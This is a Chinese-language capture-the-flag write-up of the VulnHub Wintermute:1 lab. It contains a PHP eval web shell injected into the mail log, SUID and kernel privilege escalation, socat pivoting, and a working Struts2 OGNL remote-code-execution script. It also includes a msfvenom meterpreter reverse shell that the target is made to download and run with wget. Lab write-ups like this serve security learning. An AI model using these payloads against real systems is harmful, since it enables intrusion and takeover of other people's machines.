挺有意思的一个靶机环境,学到不少东西,记录一下 参考wp:https://hackso.me/wintermute-1-walkthrough/
介绍
https://www.vulnhub.com/entry/wintermute-1,239/
注意,这里环境搭建如下图
即我们的kali主机只能访问straylight靶机,而Neuromancer靶机处在内网,需要我们利用straylight作为跳板进行攻击
Straylight
ip和端口
靶机ip:192.168.1.101 端口扫描情况 
探测和拿shell
到80端口,发现就一个静态页面给出背景,没什么有用的信息,到3000端口看下,发现一个登录页面,直接admin/admin一波成功登录,发现是ntop的管理页面
探测一下流量,发现有奇怪的流量
到/turing-bolo看下,然后在case页面发现
访问一下,发现内容相同,猜测有文件包含
想到前面开了25端口,包含一下mail.log试试看
发现成功包含,那么我们去写日志就好,连25端口 然后发送
1 2 3 4
| root@kali:/home/blacsheep# nc 192.168.1.101 25 220 straylight ESMTP Postfix (Debian/GNU) MAILFROM:<?php eval($_POST['cmd']);phpinfo();?> 221 2.7.0 Error: I can break rules, too. Goodbye.
|
发现代码得到执行
蚁剑连一下

suid提权
具体可以去看这篇文章:https://www.anquanke.com/post/id/86979
简而言之
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。
但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。
可以用于提权的包括
1 2 3 4 5 6 7 8
| Nmap Vim find Bash More Less Nano cp
|
查找有哪些具有suid权限位而且属于root的文件可以用下面的一些命令
1 2 3
| find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
|
靶机上面跑一下,得到下面一些文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| www-data@straylight:/var/www/html/turing-bolo$ find / -perm -4000 -user root 2>/dev/null <ing-bolo$ find / -perm -4000 -user root 2>/dev/null /bin/su /bin/umount /bin/mount /bin/screen-4.5.0 /bin/ping /usr/bin/gpasswd /usr/bin/chsh /usr/bin/chfn /usr/bin/passwd /usr/bin/newgrp /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign
|
发现有一个screen-4.5.0,searchsploit搜一下
找到可以提权的漏洞了,蚁剑传上去,不过运行会出错,我们手动跑一下,然后拿到root
拿到flag和root下面的note
为了方便,我给straylight装了个ssh,加了个blacsheep用户,这样就可以有一个完整的shell了
Neuromancer
找ip和端口
这个涉及到靶机找ip和端口,最容易想到的肯定是直接去下载一个nmap,然后编译一下扫,不过这里学到一些新知识,可以用shell的循环来扫ip和端口
找ip
1
| for p in $(seq 1 255);do ping -c 1 192.168.29.$p 2>&1 ;done grep "bytes from"
|
找到靶机ip:192.168.29.4 然后扫它的端口
1
| for p in $(seq 1 65535);do nc -nvz -w 1 192.168.29.4 $p 2>&1 ;done grep -v "refused"
|

端口转发和getshell
straylight靶机上面运行
1 2 3 4 5 6
| root@straylight:~# socat tcp-listen:8009,fork tcp:192.168.29.4:8009& [1] 3740 root@straylight:~# socat tcp-listen:8080,fork tcp:192.168.29.4:8080& [2] 3765 root@straylight:~# socat tcp-listen:34483,fork tcp:192.168.29.4:34483& [3] 3803
|
然后去8080端口,发现是个tomcat的manage页面,尝试爆破一下,失败了
想到之前note里面的那个路径,访问一下
找一下这个有没有漏洞
发现有个代码执行的漏洞,用一下,但是发现并不能执行,这里有人换成了bash的代码,利用curl换掉了requests,可以执行,贴个代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #!/bin/bash
LHOST=192.168.30.128 LPORT=4321 RHOST=192.168.30.129 RPORT=8080 TARGETURI=struts2_2.3.15.1-showcase/integration URL=http://$RHOST:$RPORT/$TARGETURI/saveGangster.action CMD="$1" PAYLOAD="" PAYLOAD="${PAYLOAD}%{" PAYLOAD="${PAYLOAD}(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." PAYLOAD="${PAYLOAD}(#_memberAccess?(#_memberAccess=#dm):" PAYLOAD="${PAYLOAD}((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." PAYLOAD="${PAYLOAD}(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedPackageNames().clear())." PAYLOAD="${PAYLOAD}(#ognlUtil.getExcludedClasses().clear())." PAYLOAD="${PAYLOAD}(#context.setMemberAccess(#dm))))." PAYLOAD="${PAYLOAD}(@java.lang.Runtime@getRuntime().exec('$CMD'))" PAYLOAD="${PAYLOAD}}"
usage() { echo "Usage: $(basename $0) [COMMAND]" >&2 exit 1 }
if [ $# -ne 1 ]; then usage fi
curl -s \ -H "Referer: http://$RHOST:$RPORT/$TARGETURI/editGangster" \ --data-urlencode "name=$PAYLOAD" \ --data-urlencode "age=20" \ --data-urlencode "__checkbox_bustedBefore=true" \ --data-urlencode "description=1" \ -o /dev/null \ $URL
|
不过nc版本不支持-e,而且由于我们是使用java.lang.Runtime来执行命令,所以管道符也不能用..
那么我们再做一个端口转发,把访问192.168.1.101的4444的流量转到本机
1 2
| root@straylight:~# socat tcp-listen:4444,fork tcp:192.168.1.105:4444 & [4] 5820
|
然后msfvenom生成木马,scp传到straylight
1 2 3
| msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.29.3 lport=4444 -f elf -o shell
scp ./shell blacsheep@192.168.1.101:/tmp/
|
把shell放到web目录,然后让Neuromancer去wget下下来执行
1 2 3
| ./exploit.sh "wget -O /tmp/shell 192.168.29.3/shell" ./exploit.sh "chmod 777 /tmp/shell" ./exploit.sh "sh -c /tmp/shell"
|
然后拿到meterpreter 
提权
先写个ssh-key方便连接
然后把这个写到用户目录的.ssh/authorized_keys
然后ssh -i
连接
查看内核信息
1 2
| ta@neuromancer:/tmp$ uname -a Linux neuromancer 4.4.0-116-generic
|
searchsploit找一下,刚刚好有个版本一致的
目标机没有gcc,本地编译传上去
目标机运行,拿到shell 